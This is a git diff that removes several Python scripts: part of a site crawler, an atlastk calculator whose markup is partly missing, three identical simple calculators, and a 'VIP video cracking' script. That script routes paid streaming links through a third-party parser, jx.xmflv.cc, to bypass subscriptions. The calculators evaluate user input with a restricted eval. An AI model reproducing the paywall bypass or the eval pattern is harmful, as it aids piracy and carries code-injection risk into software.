- parse_js_files: bool = True, # 是否解析JS文件中的链接 - max_urls: int = 10000, # 最大爬取URL数量限制 - timeout: int = 30): # 请求超时时间 - """ - 初始化爬虫 - - Args: - base_url: 起始URL - output_dir: 下载文件保存目录 - max_depth: 最大爬取深度(默认10) - max_workers: 最大并发线程数(默认10) - delay: 请求延迟(秒)(默认0.3) - respect_robots: 是否遵守robots.txt - crawl_strategy: 爬取策略,'breadth_first'(广度优先)或 'depth_first'(深度优先) - follow_redirects: 是否跟踪重定向 - parse_css_files: 是否解析CSS文件中的链接 - parse_js_files: 是否解析JS文件中的链接 - max_urls: 最大爬取URL数量限制(防止无限循环) - timeout: 请求超时时间(秒) - """ - self.base_url = base_url.rstrip('/') - self.base_domain = urllib.parse.urlparse(base_url).netloc - self.output_dir = Path(output_dir) - self.max_depth = max_depth - self.max_workers = max_workers - self.delay = delay - self.respect_robots = respect_robots - self.crawl_strategy = crawl_strategy - self.follow_redirects = follow_redirects - self.parse_css_files = parse_css_files - self.parse_js_files = parse_js_files - self.max_urls = max_urls - self.timeout = timeout - - # 创建输出目录 - self.output_dir.mkdir(parents=True, exist_ok=True) - - # 已访问URL集合 - self.visited_urls: Set[str] = set() - # 待爬取URL队列(URL, 深度) - self.url_queue: List[Tuple[str, int]] = [(self.base_url, 0)] - # robots.txt解析器 - self.robot_parser = urllib.robotparser.RobotFileParser() - - # 统计信息 - self.stats = { - 'pages_crawled': 0, - 'files_downloaded': 0, - 'total_size': 0, - 'errors': 0, - 'css_files_parsed': 0, - 'js_files_parsed': 0, - 'redirects_followed': 0 - } - - # 初始化session - self.session = requests.Session() - self.session.headers.update(DEFAULT_HEADERS) - self.session.max_redirects = 10 if follow_redirects else 0 - - # URL优先级队列(用于深度优先) - self.priority_queue = [] - - # 加载robots.txt - if self.respect_robots: - self._load_robots_txt() - - def _load_robots_txt(self): - """加载并解析robots.txt""" - try: - robots_url = f"{self.base_url}/robots.txt" - self.robot_parser.set_url(robots_url) - self.robot_parser.read() - except Exception as e: - print(f"警告: 无法加载robots.txt: {e}") - - def _can_fetch(self, url: str) -> bool: - """检查是否允许爬取该URL""" - if not self.respect_robots: - return True - return self.robot_parser.can_fetch(DEFAULT_HEADERS['User-Agent'], url) - - def _is_same_domain(self, url: str) -> bool: - """检查URL是否属于同一域名""" - try: - parsed = urllib.parse.urlparse(url) - return parsed.netloc == self.base_domain or not parsed.netloc - except: - return False - - def _normalize_url(self, url: str, base: str = None) -> str: - """标准化URL""" - if base is None: - base = self.base_url - - # 如果是相对路径,转换为绝对路径 - if not url.startswith(('http://', 'https://', '//')): - if url.startswith('/'): - # 相对于根目录 - parsed_base = urllib.parse.urlparse(base) - url = f"{parsed_base.scheme}://{parsed_base.netloc}{url}" - else: - # 相对于当前页面 - if not base.endswith('/'): - base += '/' - url = urllib.parse.urljoin(base, url) - - # 处理协议相对URL - if url.startswith('//'): - url = f"https:{url}" - - # 移除片段标识符 - url = urllib.parse.urldefrag(url)[0] - - # 确保URL以/结尾(如果是目录) - parsed = urllib.parse.urlparse(url) - if not parsed.path: - url = url.rstrip('/') + '/' - - return url - - def _get_file_extension(self, url: str) -> str: - """从URL获取文件扩展名""" - path = urllib.parse.urlparse(url).path - ext = Path(path).suffix.lower() - return ext - - def _is_downloadable_file(self, url: str) -> bool: - """检查URL是否指向可下载文件""" - ext = self._get_file_extension(url) - return ext in DOWNLOADABLE_EXTENSIONS - - def _should_crawl(self, url: str, current_depth: int) -> bool: - """判断是否应该爬取该URL""" - # 检查深度限制 - if current_depth >= self.max_depth: - return False - - # 检查是否已访问 - if url in self.visited_urls: - return False - - # 检查域名 - if not self._is_same_domain(url): - return False - - # 检查robots.txt - if not self._can_fetch(url): - return False - - # 对于文件下载,不进行进一步爬取 - if self._is_downloadable_file(url): - return False - - return True - - def _extract_links(self, html: str, base_url: str) -> List[str]: - """从HTML中提取所有链接(增强版)""" - soup = BeautifulSoup(html, 'html.parser') - links = [] - - # 提取HTML标签中的链接 - html_links = self._extract_html_links(soup, base_url) - links.extend(html_links) - - # 提取CSS中的链接 - css_links = self._extract_css_links(html, base_url) - links.extend(css_links) - - # 提取JavaScript中的链接(基础正则匹配) - js_links = self._extract_js_links(html, base_url) - links.extend(js_links) - - # 提取meta refresh重定向 - meta_links = self._extract_meta_refresh_links(soup, base_url) - links.extend(meta_links) - - # 去重 - unique_links = [] - seen = set() - for link in links: - if link and link not in seen: - seen.add(link) - unique_links.append(link) - - return unique_links - - def _extract_html_links(self, soup: BeautifulSoup, base_url: str) -> List[str]: - """提取HTML标签中的链接""" - links = [] - - # 定义所有可能包含URL的标签和属性 - url_attributes = { - 'a': ['href'], - 'link': ['href'], - 'script': ['src'], - 'img': ['src', 'srcset', 'data-src', 'data-original'], - 'source': ['src', 'srcset'], - 'iframe': ['src'], - 'frame': ['src'], - 'embed': ['src'], - 'object': ['data'], - 'video': ['src', 'poster'], - 'audio': ['src'], - 'track': ['src'], - 'area': ['href'], - 'base': ['href'], - 'form': ['action'], - 'button': ['formaction'], - 'input': ['src', 'formaction'], - 'meta': ['content'], # 用于og:image等 - 'applet': ['code', 'archive'], - 'bgsound': ['src'], - 'body': ['background'], - 'table': ['background'], - 'td': ['background'], - 'th': ['background'], - } - - for tag_name, attrs in url_attributes.items(): - for tag in soup.find_all(tag_name): - for attr in attrs: - if tag.get(attr): - urls = self._parse_attribute_value(tag[attr], base_url) - links.extend(urls) - - # 处理style属性中的URL - for tag in soup.find_all(style=True): - style_links = self._extract_css_urls(tag['style'], base_url) - links.extend(style_links) - - return links - - def _extract_css_links(self, html: str, base_url: str) -> List[str]: - """提取CSS中的链接""" - links = [] - - # 提取 - - -
-
- 🧮 PRO-991EX - RAD -
- -
-
-
0
-
- - -
-
- -
- - - - -
- - -
-
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - - -
-
- - - -
-
- - - - -
-
- - - -
-
- - - - -
-
-
- - - - - - - - - - - -
-
就绪
-
-
- - -""" - -# 辅助函数 -def safe_eval(expr): - namespace = { - "np": np, "math": math, - "sin": math.sin if state["angle_mode"] == "rad" else lambda x: math.sin(math.radians(x)), - "cos": math.cos if state["angle_mode"] == "rad" else lambda x: math.cos(math.radians(x)), - "tan": math.tan if state["angle_mode"] == "rad" else lambda x: math.tan(math.radians(x)), - "asin": math.asin if state["angle_mode"] == "rad" else lambda x: math.degrees(math.asin(x)), - "acos": math.acos if state["angle_mode"] == "rad" else lambda x: math.degrees(math.acos(x)), - "atan": math.atan if state["angle_mode"] == "rad" else lambda x: math.degrees(math.atan(x)), - "log": math.log10, "ln": math.log, "sqrt": math.sqrt, - "pi": math.pi, "e": math.e, "factorial": math.factorial, - "comb": math.comb, "perm": math.perm, - } - try: - return str(eval(expr, {"__builtins__": {}}, namespace)) - except Exception as e: - return f"错误" - -def parse_matrix(text): - if not text.strip(): return None - rows = text.strip().split(";") - return np.array([[float(x.strip()) for x in row.split(",")] for row in rows]) - -def update_display(dom): - dom.setValue("Display", state["display"]) - dom.setValue("Expression", state["expression"]) - dom.setValue("AngleIndicator", {"rad": "RAD", "deg": "DEG", "grad": "GRAD"}[state["angle_mode"]]) - -def update_mode_ui(dom): - for m in ["basic", "matrix", "stats", "solver"]: - dom.removeClass(f"Mode{m.capitalize()}", "active") - dom.setAttribute(f"{m.capitalize()}Panel", "style", f"display: {'block' if m == state['mode'] else 'none'}") - dom.addClass(f"Mode{state['mode'].capitalize()}", "active") - -def add_history(dom, entry): - state["history"].append(entry) - if len(state["history"]) > 8: state["history"] = state["history"][-8:] - html = "".join(f'
{h}
' for h in reversed(state["history"])) - dom.inner("HistoryList", html or '
就绪
') - -# Atlas 回调 -def atk(dom): - dom.inner("", BODY) - update_display(dom) - update_mode_ui(dom) - -def atkSetModeBasic(dom): state["mode"] = "basic"; update_mode_ui(dom) -def atkSetModeMatrix(dom): state["mode"] = "matrix"; update_mode_ui(dom) -def atkSetModeStats(dom): state["mode"] = "stats"; update_mode_ui(dom) -def atkSetModeSolver(dom): state["mode"] = "solver"; update_mode_ui(dom) - -def atkPressNum0(dom): press_num(dom, "0") -def atkPressNum1(dom): press_num(dom, "1") -def atkPressNum2(dom): press_num(dom, "2") -def atkPressNum3(dom): press_num(dom, "3") -def atkPressNum4(dom): press_num(dom, "4") -def atkPressNum5(dom): press_num(dom, "5") -def atkPressNum6(dom): press_num(dom, "6") -def atkPressNum7(dom): press_num(dom, "7") -def atkPressNum8(dom): press_num(dom, "8") -def atkPressNum9(dom): press_num(dom, "9") - -def press_num(dom, num): - state["display"] = num if state["display"] in ("0", "错误") else state["display"] + num - state["expression"] = state["display"] - update_display(dom) - -def atkPressDot(dom): - if "." not in state["display"]: state["display"] += "."; state["expression"] = state["display"] - update_display(dom) - -def atkPressAdd(dom): press_op(dom, "+") -def atkPressSub(dom): press_op(dom, "-") -def atkPressMul(dom): press_op(dom, "*") -def atkPressDiv(dom): press_op(dom, "/") - -def press_op(dom, op): - state["display"] += op; state["expression"] = state["display"] - update_display(dom) - -def atkPressParen(dom): - open_cnt = state["display"].count("("); close_cnt = state["display"].count(")") - state["display"] += ")" if open_cnt > close_cnt else "(" - state["expression"] = state["display"] - update_display(dom) - -def atkPressSin(dom): press_func(dom, "sin") -def atkPressCos(dom): press_func(dom, "cos") -def atkPressTan(dom): press_func(dom, "tan") -def atkPressAsin(dom): press_func(dom, "asin") -def atkPressAcos(dom): press_func(dom, "acos") -def atkPressAtan(dom): press_func(dom, "atan") -def atkPressLog(dom): press_func(dom, "log") -def atkPressLn(dom): press_func(dom, "ln") -def atkPressSqrt(dom): press_func(dom, "sqrt") - -def press_func(dom, func): - state["display"] = func + "(" if state["display"] == "0" else state["display"] + func + "(" - state["expression"] = state["display"] - update_display(dom) - -def atkPressPow(dom): state["display"] += "**"; state["expression"] = state["display"]; update_display(dom) -def atkPressPi(dom): state["display"] += "pi"; state["expression"] = state["display"]; update_display(dom) -def atkPressE(dom): state["display"] += "e"; state["expression"] = state["display"]; update_display(dom) -def atkPressFact(dom): press_func(dom, "factorial") -def atkPressComb(dom): press_func(dom, "comb") -def atkPressPerm(dom): press_func(dom, "perm") -def atkPressAns(dom): state["display"] += str(state["ans"]); state["expression"] = state["display"]; update_display(dom) - -def atkToggleAngle(dom): - modes = {"rad": "deg", "deg": "grad", "grad": "rad"} - state["angle_mode"] = modes[state["angle_mode"]] - update_display(dom) - -def atkClear(dom): - state["display"] = "0"; state["expression"] = "" - update_display(dom) - -def atkBackspace(dom): - state["display"] = state["display"][:-1] or "0" - state["expression"] = state["display"] - update_display(dom) - -def atkCalculate(dom): - result = safe_eval(state["display"]) - try: - state["ans"] = float(result) - except: - pass - add_history(dom, f"{state['display']} = {result}") - state["display"] = result - state["expression"] = "" - update_display(dom) - -# 矩阵运算 -def atkMatrixAdd(dom): matrix_op(dom, lambda a,b: a+b, "A+B") -def atkMatrixSub(dom): matrix_op(dom, lambda a,b: a-b, "A-B") -def atkMatrixMul(dom): matrix_op(dom, lambda a,b: a@b, "A×B") - -def matrix_op(dom, op, name): - try: - a = parse_matrix(dom.getValue("MatrixA")) - b = parse_matrix(dom.getValue("MatrixB")) - if a is None or b is None: - dom.setValue("MatrixResult", "请输入矩阵") - return - result = op(a, b) - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"{name}: {result}") - except Exception as e: - dom.setValue("MatrixResult", f"错误: {e}") - -def atkMatrixTranspose(dom): - try: - a = parse_matrix(dom.getValue("MatrixA")) - if a is None: dom.setValue("MatrixResult", "请输入矩阵A"); return - result = a.T - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"Aᵀ: {result}") - except Exception as e: - dom.setValue("MatrixResult", f"错误: {e}") - -def atkMatrixInv(dom): - try: - a = parse_matrix(dom.getValue("MatrixA")) - if a is None: dom.setValue("MatrixResult", "请输入矩阵A"); return - result = np.linalg.inv(a) - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"A⁻¹: {result}") - except Exception as e: - dom.setValue("MatrixResult", f"不可逆: {e}") - -def atkMatrixDet(dom): - try: - a = parse_matrix(dom.getValue("MatrixA")) - result = np.linalg.det(a) - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"det(A) = {result}") - except Exception as e: - dom.setValue("MatrixResult", f"错误: {e}") - -def atkMatrixEig(dom): - try: - a = parse_matrix(dom.getValue("MatrixA")) - result = np.linalg.eigvals(a) - dom.setValue("MatrixResult", str(result)) - add_history(dom, f"特征值: {result}") - except Exception as e: - dom.setValue("MatrixResult", f"错误: {e}") - -def atkMatrixClear(dom): - dom.setValue("MatrixA", ""); dom.setValue("MatrixB", ""); dom.setValue("MatrixResult", "") - -# 统计 -def get_stats_data(dom): - text = dom.getValue("StatsData") - return np.array([float(x) for x in re.split(r"[,\s]+", text.strip()) if x]) - -def atkStatsMean(dom): - try: - data = get_stats_data(dom) - result = np.mean(data) - dom.setValue("StatsResult", f"均值: {result}") - add_history(dom, f"均值 = {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsStd(dom): - try: - data = get_stats_data(dom) - result = np.std(data) - dom.setValue("StatsResult", f"标准差: {result}") - add_history(dom, f"标准差 = {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsVar(dom): - try: - data = get_stats_data(dom) - result = np.var(data) - dom.setValue("StatsResult", f"方差: {result}") - add_history(dom, f"方差 = {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsMedian(dom): - try: - data = get_stats_data(dom) - result = np.median(data) - dom.setValue("StatsResult", f"中位数: {result}") - add_history(dom, f"中位数 = {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsMin(dom): - try: - data = get_stats_data(dom) - result = np.min(data) - dom.setValue("StatsResult", f"最小值: {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsMax(dom): - try: - data = get_stats_data(dom) - result = np.max(data) - dom.setValue("StatsResult", f"最大值: {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsSum(dom): - try: - data = get_stats_data(dom) - result = np.sum(data) - dom.setValue("StatsResult", f"求和: {result}") - except Exception as e: - dom.setValue("StatsResult", f"错误: {e}") - -def atkStatsClear(dom): - dom.setValue("StatsData", ""); dom.setValue("StatsResult", "") - -# 方程求解 -def atkSolveQuadratic(dom): - try: - a = float(dom.getValue("CoefA") or 0) - b = float(dom.getValue("CoefB") or 0) - c = float(dom.getValue("CoefC") or 0) - if a == 0: - dom.setValue("SolverResult", "a不能为0") - return - delta = b**2 - 4*a*c - if delta >= 0: - x1 = (-b + math.sqrt(delta)) / (2*a) - x2 = (-b - math.sqrt(delta)) / (2*a) - result = f"x₁ = {x1:.6f}, x₂ = {x2:.6f}" - else: - real = -b / (2*a) - imag = math.sqrt(-delta) / (2*a) - result = f"x₁ = {real:.6f} + {imag:.6f}i, x₂ = {real:.6f} - {imag:.6f}i" - dom.setValue("SolverResult", result) - add_history(dom, f"{a}x²+{b}x+{c}=0 → {result}") - except Exception as e: - dom.setValue("SolverResult", f"错误: {e}") - -# 记忆功能 -def atkMemoryStoreA(dom): - try: state["memory"]["A"] = float(state["display"]); dom.setValue("MemIndicator", "A已存") - except: pass - -def atkMemoryStoreB(dom): - try: state["memory"]["B"] = float(state["display"]); dom.setValue("MemIndicator", "B已存") - except: pass - -def atkMemoryStoreC(dom): - try: state["memory"]["C"] = float(state["display"]); dom.setValue("MemIndicator", "C已存") - except: pass - -def atkMemoryStoreM(dom): - try: state["memory"]["M"] = float(state["display"]); dom.setValue("MemIndicator", "M已存") - except: pass - -def atkPressShift(dom): - state["shift"] = not state["shift"] - dom.setValue("ShiftIndicator", "SHIFT" if state["shift"] else " ") - -# 启动 -atlastk.launch(globals=globals()) \ No newline at end of file diff --git a/script_library/scripts/ui/qiyue_mnyea7xv.py b/script_library/scripts/ui/qiyue_mnyea7xv.py deleted file mode 100644 index e9cc4d1..0000000 --- a/script_library/scripts/ui/qiyue_mnyea7xv.py +++ /dev/null @@ -1,146 +0,0 @@ -import webbrowser -import ui -import base64 - -# 这里存放8ca58e770b78c0e7a7063c279ae0a11dd45962953fae4c2130add25a3d172020ce94c002b2b6e62a47d3 -ENCODED_CARD = "cWl5dWU=" # 如果你卡密不同,把引号里的换成你上一步得到的码 - -def open_iqy(sender): - webbrowser.open('https://www.iqiyi.com') - -def open_tx(sender): - webbrowser.open('https://v.qq.com') - -def open_yq(sender): - webbrowser.open('https://www.youku.com/') - -def play_vip(sender): - url = 'https://jx.xmflv.cc/?url=' - video = sender.superview['entry'].text - webbrowser.open(url + video) - -def clear_text(sender): - sender.superview['entry'].text = '' - -def verify_card(sender): - card_entry = sender.superview['card_entry'] - input_card = card_entry.text.strip() - # 解码存储的 Base64,得到真实卡密 - correct_card = base64.b64decode(ENCODED_CARD).decode() - if input_card == correct_card: - play_btn = sender.superview['play_btn'] - play_btn.enabled = True - ui.alert('验证成功', '卡密正确,现在可以使用VIP播放功能了!', '好的') - card_entry.text = '' - else: - ui.alert('验证失败', '卡密错误,无法使用VIP播放功能。', '重试') - -if __name__ == '__main__': - v = ui.View() - v.name = 'VIP视频破解软件' - v.background_color = 'white' - v.frame = (0, 0, 480, 260) - - # 视频链接行 - label_movie_link = ui.Label() - label_movie_link.text = '网页视频链接:' - label_movie_link.frame = (20, 20, 100, 30) - v.add_subview(label_movie_link) - - entry_movie_link = ui.TextField() - entry_movie_link.frame = (125, 20, 260, 30) - entry_movie_link.border_width = 1 - entry_movie_link.border_color = (0.8, 0.8, 0.8) - entry_movie_link.corner_radius = 5 - entry_movie_link.name = 'entry' - v.add_subview(entry_movie_link) - - btn_clear = ui.Button() - btn_clear.title = '清空' - btn_clear.frame = (400, 20, 50, 30) - btn_clear.background_color = (0.9, 0.9, 0.9) - btn_clear.corner_radius = 5 - btn_clear.action = clear_text - v.add_subview(btn_clear) - - # 平台按钮行 - btn_iqy = ui.Button() - btn_iqy.title = '爱奇艺' - btn_iqy.frame = (25, 70, 80, 40) - btn_iqy.background_color = (0.2, 0.6, 1.0) - btn_iqy.tint_color = 'white' - btn_iqy.corner_radius = 8 - btn_iqy.action = open_iqy - v.add_subview(btn_iqy) - - btn_tx = ui.Button() - btn_tx.title = '腾讯视频' - btn_tx.frame = (125, 70, 80, 40) - btn_tx.background_color = (0.0, 0.8, 0.4) - btn_tx.tint_color = 'white' - btn_tx.corner_radius = 8 - btn_tx.action = open_tx - v.add_subview(btn_tx) - - btn_youku = ui.Button() - btn_youku.title = '优酷视频' - btn_youku.frame = (225, 70, 80, 40) - btn_youku.background_color = (1.0, 0.3, 0.2) - btn_youku.tint_color = 'white' - btn_youku.corner_radius = 8 - btn_youku.action = open_yq - v.add_subview(btn_youku) - - btn_play = ui.Button() - btn_play.title = '播放VIP视频' - btn_play.frame = (325, 70, 125, 40) - btn_play.background_color = (0.6, 0.2, 0.8) - btn_play.tint_color = 'white' - btn_play.corner_radius = 8 - btn_play.action = play_vip - btn_play.enabled = False - btn_play.name = 'play_btn' - v.add_subview(btn_play) - - # 提示标签 - lab_remind = ui.Label() - lab_remind.text = '提示:将视频链接复制到框内,点击播放VIP视频' - lab_remind.frame = (50, 125, 400, 20) - lab_remind.text_color = (0.4, 0.4, 0.4) - lab_remind.alignment = ui.ALIGN_CENTER - v.add_subview(lab_remind) - - # 卡密验证行 - label_card = ui.Label() - label_card.text = '卡密:' - label_card.frame = (50, 155, 50, 30) - v.add_subview(label_card) - - entry_card = ui.TextField() - entry_card.frame = (100, 155, 200, 30) - entry_card.border_width = 1 - entry_card.border_color = (0.8, 0.8, 0.8) - entry_card.corner_radius = 5 - entry_card.placeholder = '输入卡密以解锁VIP播放' - entry_card.name = 'card_entry' - v.add_subview(entry_card) - - btn_verify = ui.Button() - btn_verify.title = '验证卡密' - btn_verify.frame = (320, 155, 100, 30) - btn_verify.background_color = (0.9, 0.5, 0.2) - btn_verify.tint_color = 'white' - btn_verify.corner_radius = 5 - btn_verify.action = verify_card - v.add_subview(btn_verify) - - # 作者标签 - author_label = ui.Label() - author_label.text = '作者:七月' - author_label.frame = (0, 205, 480, 25) - author_label.text_color = (0.5, 0.5, 0.5) - author_label.alignment = ui.ALIGN_CENTER - author_label.font = ('', 12) - v.add_subview(author_label) - - v.present('sheet') \ No newline at end of file diff --git a/script_library/scripts/ui/script_mmvsfmza.py b/script_library/scripts/ui/script_mmvsfmza.py deleted file mode 100644 index c2ec5f3..0000000 --- a/script_library/scripts/ui/script_mmvsfmza.py +++ /dev/null @@ -1,144 +0,0 @@ -import ui -import re - -# 只允许安全的计算表达式 -_allowed_pattern = re.compile(r'^[0-9+\-*/().\s]+$') - -def safe_eval(expr: str): - expr = expr.strip() - if not expr: - return '' - if not _allowed_pattern.match(expr): - return 'Error' - try: - result = eval(expr, {"__builtins__": None}, {}) - if isinstance(result, float): - return str(int(result)) if result.is_integer() else str(result) - return str(result) - except Exception: - return 'Error' - - -class SimpleCalculator(ui.View): - def __init__(self, *args, **kwargs): - # 模拟“正常用户”:给一个典型根尺寸 320x480 - super().__init__(frame=(0, 0, 320, 480), *args, **kwargs) - - self.background_color = 'white' - self.name = '计算器(测试UI居中)' - self.expr = '0' - - # 顶部显示区域 —— 占一点高度,不压得太高,也不太低 - self.display = ui.Label() - self.display.frame = (16, 40, self.width - 32, 60) - self.display.alignment = ui.ALIGN_RIGHT - self.display.font = ('', 32) - self.display.text = '0' - self.display.text_color = 'black' - self.display.background_color = None - self.add_subview(self.display) - - # 按钮布局:整体放在中部偏下,但不是挤到最下面 - buttons = [ - ['C', '+/-', '%', '/'], - ['7', '8', '9', '*'], - ['4', '5', '6', '-'], - ['1', '2', '3', '+'], - ['0', '', '.', '='], - ] - - margin = 10 - btn_w = (self.width - margin * 5) / 4.0 - btn_h = 60 - # 比你之前的 140 再往上提一点,整体更居中 - start_y = 120 - - for row_index, row in enumerate(buttons): - for col_index, title in enumerate(row): - if title == '': - continue - - x = margin + col_index * (btn_w + margin) - y = start_y + row_index * (btn_h + margin) - - # 0 键双倍宽度 - if title == '0' and row_index == 4 and col_index == 0: - width = btn_w * 2 + margin - else: - width = btn_w - - btn = ui.Button(title=title) - btn.frame = (x, y, width, btn_h) - btn.font = ('', 24) - btn.corner_radius = 12 - - if title in ['C', '+/-', '%']: - btn.background_color = '#a5a5a5' - btn.tint_color = 'black' - elif title in ['/', '*', '-', '+', '=']: - btn.background_color = '#ff9f0a' - btn.tint_color = 'white' - else: - btn.background_color = '#333333' - btn.tint_color = 'white' - - btn.action = self.button_tapped - self.add_subview(btn) - - # 更新显示 - def update_display(self): - self.display.text = self.expr - - # 按钮事件 - def button_tapped(self, sender): - text = sender.title - - if text == 'C': - self.expr = '0' - self.update_display() - return - - if text == '+/-': - if self.expr.startswith('-'): - self.expr = self.expr[1:] - else: - if self.expr != '0': - self.expr = '-' + self.expr - self.update_display() - return - - if text == '%': - val = safe_eval(self.expr) - if val not in ('Error', ''): - try: - num = float(val) / 100.0 - self.expr = str(int(num)) if num.is_integer() else str(num) - except Exception: - self.expr = 'Error' - else: - self.expr = 'Error' - self.update_display() - return - - if text == '=': - result = safe_eval(self.expr) - self.expr = result if result != '' else '0' - self.update_display() - return - - # 普通数字/符号输入 - if self.expr == '0' and text in '0123456789': - self.expr = text - else: - self.expr += text - - self.update_display() - - -def main(): - v = SimpleCalculator() - v.present('sheet') - - -if __name__ == '__main__': - main() \ No newline at end of file diff --git a/script_library/scripts/ui/script_mmw6k09q.py b/script_library/scripts/ui/script_mmw6k09q.py deleted file mode 100644 index c2ec5f3..0000000 --- a/script_library/scripts/ui/script_mmw6k09q.py +++ /dev/null @@ -1,144 +0,0 @@ -import ui -import re - -# 只允许安全的计算表达式 -_allowed_pattern = re.compile(r'^[0-9+\-*/().\s]+$') - -def safe_eval(expr: str): - expr = expr.strip() - if not expr: - return '' - if not _allowed_pattern.match(expr): - return 'Error' - try: - result = eval(expr, {"__builtins__": None}, {}) - if isinstance(result, float): - return str(int(result)) if result.is_integer() else str(result) - return str(result) - except Exception: - return 'Error' - - -class SimpleCalculator(ui.View): - def __init__(self, *args, **kwargs): - # 模拟“正常用户”:给一个典型根尺寸 320x480 - super().__init__(frame=(0, 0, 320, 480), *args, **kwargs) - - self.background_color = 'white' - self.name = '计算器(测试UI居中)' - self.expr = '0' - - # 顶部显示区域 —— 占一点高度,不压得太高,也不太低 - self.display = ui.Label() - self.display.frame = (16, 40, self.width - 32, 60) - self.display.alignment = ui.ALIGN_RIGHT - self.display.font = ('', 32) - self.display.text = '0' - self.display.text_color = 'black' - self.display.background_color = None - self.add_subview(self.display) - - # 按钮布局:整体放在中部偏下,但不是挤到最下面 - buttons = [ - ['C', '+/-', '%', '/'], - ['7', '8', '9', '*'], - ['4', '5', '6', '-'], - ['1', '2', '3', '+'], - ['0', '', '.', '='], - ] - - margin = 10 - btn_w = (self.width - margin * 5) / 4.0 - btn_h = 60 - # 比你之前的 140 再往上提一点,整体更居中 - start_y = 120 - - for row_index, row in enumerate(buttons): - for col_index, title in enumerate(row): - if title == '': - continue - - x = margin + col_index * (btn_w + margin) - y = start_y + row_index * (btn_h + margin) - - # 0 键双倍宽度 - if title == '0' and row_index == 4 and col_index == 0: - width = btn_w * 2 + margin - else: - width = btn_w - - btn = ui.Button(title=title) - btn.frame = (x, y, width, btn_h) - btn.font = ('', 24) - btn.corner_radius = 12 - - if title in ['C', '+/-', '%']: - btn.background_color = '#a5a5a5' - btn.tint_color = 'black' - elif title in ['/', '*', '-', '+', '=']: - btn.background_color = '#ff9f0a' - btn.tint_color = 'white' - else: - btn.background_color = '#333333' - btn.tint_color = 'white' - - btn.action = self.button_tapped - self.add_subview(btn) - - # 更新显示 - def update_display(self): - self.display.text = self.expr - - # 按钮事件 - def button_tapped(self, sender): - text = sender.title - - if text == 'C': - self.expr = '0' - self.update_display() - return - - if text == '+/-': - if self.expr.startswith('-'): - self.expr = self.expr[1:] - else: - if self.expr != '0': - self.expr = '-' + self.expr - self.update_display() - return - - if text == '%': - val = safe_eval(self.expr) - if val not in ('Error', ''): - try: - num = float(val) / 100.0 - self.expr = str(int(num)) if num.is_integer() else str(num) - except Exception: - self.expr = 'Error' - else: - self.expr = 'Error' - self.update_display() - return - - if text == '=': - result = safe_eval(self.expr) - self.expr = result if result != '' else '0' - self.update_display() - return - - # 普通数字/符号输入 - if self.expr == '0' and text in '0123456789': - self.expr = text - else: - self.expr += text - - self.update_display() - - -def main(): - v = SimpleCalculator() - v.present('sheet') - - -if __name__ == '__main__': - main() \ No newline at end of file diff --git a/script_library/scripts/ui/script_mmw6yzdm.py b/script_library/scripts/ui/script_mmw6yzdm.py deleted file mode 100644 index c2ec5f3..0000000 --- a/script_library/scripts/ui/script_mmw6yzdm.py +++ /dev/null @@ -1,144 +0,0 @@ -import ui -import re - -# 只允许安全的计算表达式 -_allowed_pattern = re.compile(r'^[0-9+\-*/().\s]+$') - -def safe_eval(expr: str): - expr = expr.strip() - if not expr: - return '' - if not _allowed_pattern.match(expr): - return 'Error' - try: - result = eval(expr, {"__builtins__": None}, {}) - if isinstance(result, float): - return str(int(result)) if result.is_integer() else str(result) - return str(result) - except Exception: - return 'Error' - - -class SimpleCalculator(ui.View): - def __init__(self, *args, **kwargs): - # 模拟“正常用户”:给一个典型根尺寸 320x480 - super().__init__(frame=(0, 0, 320, 480), *args, **kwargs) - - self.background_color = 'white' - self.name = '计算器(测试UI居中)' - self.expr = '0' - - # 顶部显示区域 —— 占一点高度,不压得太高,也不太低 - self.display = ui.Label() - self.display.frame = (16, 40, self.width - 32, 60) - self.display.alignment = ui.ALIGN_RIGHT - self.display.font = ('', 32) - self.display.text = '0' - self.display.text_color = 'black' - self.display.background_color = None - self.add_subview(self.display) - - # 按钮布局:整体放在中部偏下,但不是挤到最下面 - buttons = [ - ['C', '+/-', '%', '/'], - ['7', '8', '9', '*'], - ['4', '5', '6', '-'], - ['1', '2', '3', '+'], - ['0', '', '.', '='], - ] - - margin = 10 - btn_w = (self.width - margin * 5) / 4.0 - btn_h = 60 - # 比你之前的 140 再往上提一点,整体更居中 - start_y = 120 - - for row_index, row in enumerate(buttons): - for col_index, title in enumerate(row): - if title == '': - continue - - x = margin + col_index * (btn_w + margin) - y = start_y + row_index * (btn_h + margin) - - # 0 键双倍宽度 - if title == '0' and row_index == 4 and col_index == 0: - width = btn_w * 2 + margin - else: - width = btn_w - - btn = ui.Button(title=title) - btn.frame = (x, y, width, btn_h) - btn.font = ('', 24) - btn.corner_radius = 12 - - if title in ['C', '+/-', '%']: - btn.background_color = '#a5a5a5' - btn.tint_color = 'black' - elif title in ['/', '*', '-', '+', '=']: - btn.background_color = '#ff9f0a' - btn.tint_color = 'white' - else: - btn.background_color = '#333333' - btn.tint_color = 'white' - - btn.action = self.button_tapped - self.add_subview(btn) - - # 更新显示 - def update_display(self): - self.display.text = self.expr - - # 按钮事件 - def button_tapped(self, sender): - text = sender.title - - if text == 'C': - self.expr = '0' - self.update_display() - return - - if text == '+/-': - if self.expr.startswith('-'): - self.expr = self.expr[1:] - else: - if self.expr != '0': - self.expr = '-' + self.expr - self.update_display() - return - - if text == '%': - val = safe_eval(self.expr) - if val not in ('Error', ''): - try: - num = float(val) / 100.0 - self.expr = str(int(num)) if num.is_integer() else str(num) - except Exception: - self.expr = 'Error' - else: - self.expr = 'Error' - self.update_display() - return - - if text == '=': - result = safe_eval(self.expr) - self.expr = result if result != '' else '0' - self.update_display() - return - - # 普通数字/符号输入 - if self.expr == '0' and text in '0123456789': - self.expr = text - else: - self.expr += text - - self.update_display() - - -def main(): - v = SimpleCalculator() - v.present('sheet') - - -if __name__ == 